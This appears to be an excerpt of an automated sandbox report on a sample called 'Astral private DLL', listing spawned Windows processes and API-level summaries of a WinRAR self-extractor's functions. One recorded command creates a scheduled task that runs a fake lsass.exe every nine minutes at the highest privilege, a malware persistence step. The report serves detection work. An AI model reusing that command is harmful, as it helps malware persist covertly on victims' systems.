Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:40:30
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	07:40:30
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	07:40:31
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	07:40:31
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	07:40:32
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	07:40:32
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline"
Imagebase:	0x7ff74ddc0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:40:32
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:40:32
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF04D.tmp" "c:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP"
Imagebase:	0x7ff73a850000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:40:33
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\containerperf\lsass.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	414
Start time:	07:40:37
Start date:	13/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	474
Start time:	07:40:54
Start date:	13/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	504
Start time:	07:41:10
Start date:	13/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	529
Start time:	07:41:27
Start date:	13/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.4%
Total number of Nodes:	1484
Total number of Limit Nodes:	50

Executed Functions

Function 0017DF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00170863: GetModuleHandleW.KERNEL32(kernel32), ref: 0017087C
Part of subcall function 00170863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0017088E
Part of subcall function 00170863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 001708BF

Part of subcall function 0017A64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 0017A655

Part of subcall function 0017AC16: OleInitialize.OLE32(00000000), ref: 0017AC2F
Part of subcall function 0017AC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0017AC66
Part of subcall function 0017AC16: SHGetMalloc.SHELL32(001A8438), ref: 0017AC70

GetCommandLineW.KERNEL32 ref: 0017DF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0017DF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0017DF94
UnmapViewOfFile.KERNEL32(00000000), ref: 0017DFCE

Part of subcall function 0017DBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0017DBF4
Part of subcall function 0017DBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0017DC30

CloseHandle.KERNEL32(00000000), ref: 0017DFD7
GetModuleFileNameW.KERNEL32(00000000,001BEC90,00000800), ref: 0017DFF2
SetEnvironmentVariableW.KERNEL32(sfxname,001BEC90), ref: 0017DFFE
GetLocalTime.KERNEL32(?), ref: 0017E009
_swprintf.LIBCMT ref: 0017E048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0017E05A
GetModuleHandleW.KERNEL32(00000000), ref: 0017E061
LoadIconW.USER32(00000000,00000064), ref: 0017E078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 0017E0C9
Sleep.KERNEL32(?), ref: 0017E0F7
DeleteObject.GDI32 ref: 0017E130
DeleteObject.GDI32(?), ref: 0017E140
CloseHandle.KERNEL32 ref: 0017E183

Strings

STARTDLG, xrefs: 0017E0BE
sfxname, xrefs: 0017DFF9
sfxstime, xrefs: 0017E055
C:\Users\user\AppData\Local\Temp, xrefs: 0017DF33
winrarsfxmappingfile.tmp, xrefs: 0017DF77
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0017E039

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\AppData\Local\Temp$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-2070194233
Opcode ID: 94677a67990c3a8b59e4b245f76a1350f54f3bae92f3b4e5824b324f73347f03
Instruction ID: 7084067257b852f0a3241079aa534f6f1bf1494437cc1770a51b2e361b2ce166
Opcode Fuzzy Hash: 94677a67990c3a8b59e4b245f76a1350f54f3bae92f3b4e5824b324f73347f03
Instruction Fuzzy Hash: F7610471904304AFD721ABB4ED4AF6B7BFCAF59700F04442AF909926E1DB7499C4CB62

Function 0017A6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0017B73D,00000066), ref: 0017A6D5
SizeofResource.KERNEL32(00000000,?,?,?,0017B73D,00000066), ref: 0017A6EC
LoadResource.KERNEL32(00000000,?,?,?,0017B73D,00000066), ref: 0017A703
LockResource.KERNEL32(00000000,?,?,?,0017B73D,00000066), ref: 0017A712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0017B73D,00000066), ref: 0017A72D
GlobalLock.KERNEL32(00000000), ref: 0017A73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 0017A762
GlobalUnlock.KERNEL32(00000000), ref: 0017A7C6

Part of subcall function 0017A626: GdipAlloc.GDIPLUS(00000010), ref: 0017A62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0017A7A7
GlobalFree.KERNEL32(00000000), ref: 0017A7CD

Strings

PNG, xrefs: 0017A6C6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 3752dcbcc7e2e4b4255842b23ae3ecc0974ca21c8d1739f2e65cc61042bcae6a
Instruction ID: ac7516d501098189fde6c2363bbf91e71ff563d384a4b8edfd0f97ecb1cb2d52
Opcode Fuzzy Hash: 3752dcbcc7e2e4b4255842b23ae3ecc0974ca21c8d1739f2e65cc61042bcae6a
Instruction Fuzzy Hash: 87319376600312BFD7159F21DC88D2F7BBDEF85750B04452AF91982A60EB32DD84CAA2

Function 0016A69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0016A592,000000FF,?,?), ref: 0016A6C4

Part of subcall function 0016BB03: _wcslen.LIBCMT ref: 0016BB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0016A592,000000FF,?,?), ref: 0016A6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0016A592,000000FF,?,?), ref: 0016A6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,0016A592,000000FF,?,?), ref: 0016A728
GetLastError.KERNEL32(?,?,?,?,0016A592,000000FF,?,?), ref: 0016A734

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: ec7b1eae8b00a8753ea414045063507c84cc5c219da44b26213b35ffe7b7774d
Instruction ID: 6fad44cc3cbc6b8ac4ce2e97e509a87e61ba32480954563ac1dda87d3ff6c8ad
Opcode Fuzzy Hash: ec7b1eae8b00a8753ea414045063507c84cc5c219da44b26213b35ffe7b7774d
Instruction Fuzzy Hash: DC417E72900515ABCB25DF68CC88AEAB7B9FF48350F544296F56DE3200D7346EA0CF90

Function 00187DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00187DC4,00000000,0019C300,0000000C,00187F1B,00000000,00000002,00000000), ref: 00187E0F
TerminateProcess.KERNEL32(00000000,?,00187DC4,00000000,0019C300,0000000C,00187F1B,00000000,00000002,00000000), ref: 00187E16
ExitProcess.KERNEL32 ref: 00187E28

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ea41575a1ae8188368be410ea71c7ce06e457d6e9216d5b1390b79ea2463704c
Instruction ID: ed76b2081af0224b75182309763828714846ecb0c548422252303fc37847d668
Opcode Fuzzy Hash: ea41575a1ae8188368be410ea71c7ce06e457d6e9216d5b1390b79ea2463704c
Instruction Fuzzy Hash: 24E0B631004548ABCF117F64DD4AA8A7F6AEB50382B144455F8298A572CB36EF92CFA8

Function 0016848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00168493

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1ef73e1eaff57a0d7d31d9d0f8948dc9b8c95433252f47f3e33240655e9dd55a
Instruction ID: 6e984f86f8d4724be38438c79c9d70e3ec0708df66dee7907fbe1c352876ec37
Opcode Fuzzy Hash: 1ef73e1eaff57a0d7d31d9d0f8948dc9b8c95433252f47f3e33240655e9dd55a
Instruction Fuzzy Hash: 3F820C71904245AFDF15DF64CC95BFABBB9BF15300F0842B9E8499B182DF315AA8CB60

Function 0017B7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0017B7E5

Part of subcall function 00161316: GetDlgItem.USER32(00000000,00003021), ref: 0016135A
Part of subcall function 00161316: SetWindowTextW.USER32(00000000,001935F4), ref: 00161370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0017B8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0017B8EF
IsDialogMessageW.USER32(?,?), ref: 0017B902
TranslateMessage.USER32(?), ref: 0017B910
DispatchMessageW.USER32(?), ref: 0017B91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 0017B93D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 0017B960
GetDlgItem.USER32(?,00000068), ref: 0017B983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0017B99E
SendMessageW.USER32(00000000,000000C2,00000000,001935F4), ref: 0017B9B1

Part of subcall function 0017D453: _wcslen.LIBCMT ref: 0017D47D

SetFocus.USER32(00000000), ref: 0017B9B8
_swprintf.LIBCMT ref: 0017BA24

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

Part of subcall function 0017D4D4: GetDlgItem.USER32(00000068,001BFCB8), ref: 0017D4E8
Part of subcall function 0017D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,0017AF07,00000001,?,?,0017B7B9,0019506C,001BFCB8,001BFCB8,00001000,00000000,00000000), ref: 0017D510
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0017D51B
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,000000C2,00000000,001935F4), ref: 0017D529
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0017D53F
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0017D559
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0017D59D
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0017D5AB
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0017D5BA
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0017D5E1
Part of subcall function 0017D4D4: SendMessageW.USER32(00000000,000000C2,00000000,001943F4), ref: 0017D5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 0017BA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 0017BA90
GetTickCount.KERNEL32 ref: 0017BAAE
_swprintf.LIBCMT ref: 0017BAC2
GetLastError.KERNEL32(?,00000011), ref: 0017BAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 0017BB43
_swprintf.LIBCMT ref: 0017BB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 0017BBD0
GetCommandLineW.KERNEL32 ref: 0017BBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 0017BC47
ShellExecuteExW.SHELL32(0000003C), ref: 0017BC6F
Sleep.KERNEL32(00000064), ref: 0017BCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 0017BCE2
CloseHandle.KERNEL32(00000000), ref: 0017BCEB
_swprintf.LIBCMT ref: 0017BD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0017BD7D
SetDlgItemTextW.USER32(?,00000065,001935F4), ref: 0017BD94
GetDlgItem.USER32(?,00000065), ref: 0017BD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 0017BDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0017BDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0017BE68
_wcslen.LIBCMT ref: 0017BEBE
_swprintf.LIBCMT ref: 0017BEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 0017BF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 0017BF4C
GetDlgItem.USER32(?,00000068), ref: 0017BF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 0017BF6B
GetDlgItem.USER32(?,00000066), ref: 0017BF85
SetWindowTextW.USER32(00000000,001AA472), ref: 0017BFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 0017C007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0017C01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 0017C0BD
EnableWindow.USER32(00000000,00000000), ref: 0017C197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 0017C1D9

Part of subcall function 0017C73F: __EH_prolog.LIBCMT ref: 0017C744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0017C1FD

Strings

@, xrefs: 0017BB91
%s, xrefs: 0017BED8
STARTDLG, xrefs: 0017B801
-el -s2 "-d%s" "-sp%s", xrefs: 0017BB6B
<, xrefs: 0017BB84
__tmp_rar_sfx_access_check_%u, xrefs: 0017BAB5
C:\Users\user\AppData\Local\Temp, xrefs: 0017BBC9
winrarsfxmappingfile.tmp, xrefs: 0017BBA6
"%s"%s, xrefs: 0017BD0D
LICENSEDLG, xrefs: 0017C0B2

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\AppData\Local\Temp$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3445078344-4182265032
Opcode ID: 682c78e55f2819c9fc1b86d9bce2177afc181163d5c2433e43633bd72b2a7852
Instruction ID: 7a9363847be1461071314a3ddb1c90018d896a937b6fae149615a749f70d76bf
Opcode Fuzzy Hash: 682c78e55f2819c9fc1b86d9bce2177afc181163d5c2433e43633bd72b2a7852
Instruction Fuzzy Hash: 0D421D71948244BEEB21AB74DC4AFFE3B7CAB16700F048159F649A64D2CB749EC4CB61

Function 00170863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 0017087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0017088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 001708BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00170B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00170B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00170B93
ReadFile.KERNEL32(00000000,?,00007FFE,00193C7C,00000000), ref: 00170BB1
CloseHandle.KERNEL32(00000000), ref: 00170C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00170C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00193C7C,?,00000000,?,00000800), ref: 00170C72
GetFileAttributesW.KERNELBASE(?,?,00193C7C,00000800,?,00000000,?,00000800), ref: 00170C9C
GetFileAttributesW.KERNEL32(?,?,00193D44,00000800), ref: 00170CD8

Part of subcall function 0017081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00170836
Part of subcall function 0017081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0016F2D8,Crypt32.dll,00000000,0016F35C,?,?,0016F33E,?,?,?), ref: 00170858

_swprintf.LIBCMT ref: 00170D4A
_swprintf.LIBCMT ref: 00170D96

Part of subcall function 00164092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001640A5

AllocConsole.KERNEL32 ref: 00170D9E
GetCurrentProcessId.KERNEL32 ref: 00170DA8
AttachConsole.KERNEL32(00000000), ref: 00170DAF
_wcslen.LIBCMT ref: 00170DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00170DD5
WriteConsoleW.KERNEL32(00000000), ref: 00170DDC
Sleep.KERNEL32(00002710), ref: 00170DE7
FreeConsole.KERNEL32 ref: 00170DED
ExitProcess.KERNEL32 ref: 00170DF5

Strings

dwmapi.dll, xrefs: 00170927, 00170D0D
SetDefaultDllDirectories, xrefs: 001708B9
SetDllDirectoryW, xrefs: 00170888
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00170D84
DXGIDebug.dll, xrefs: 001708FC, 00170C5E
kernel32, xrefs: 00170873
uxtheme.dll, xrefs: 00170D17

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: cca3628dce84ab92fc6c699a712aa7377e121b0a28ba3093c13b52b5bc06138f
Instruction ID: 64a26c32bf61a901dd3123583511e6a575eb55c0431660f6e2f4e3dbf9835d64
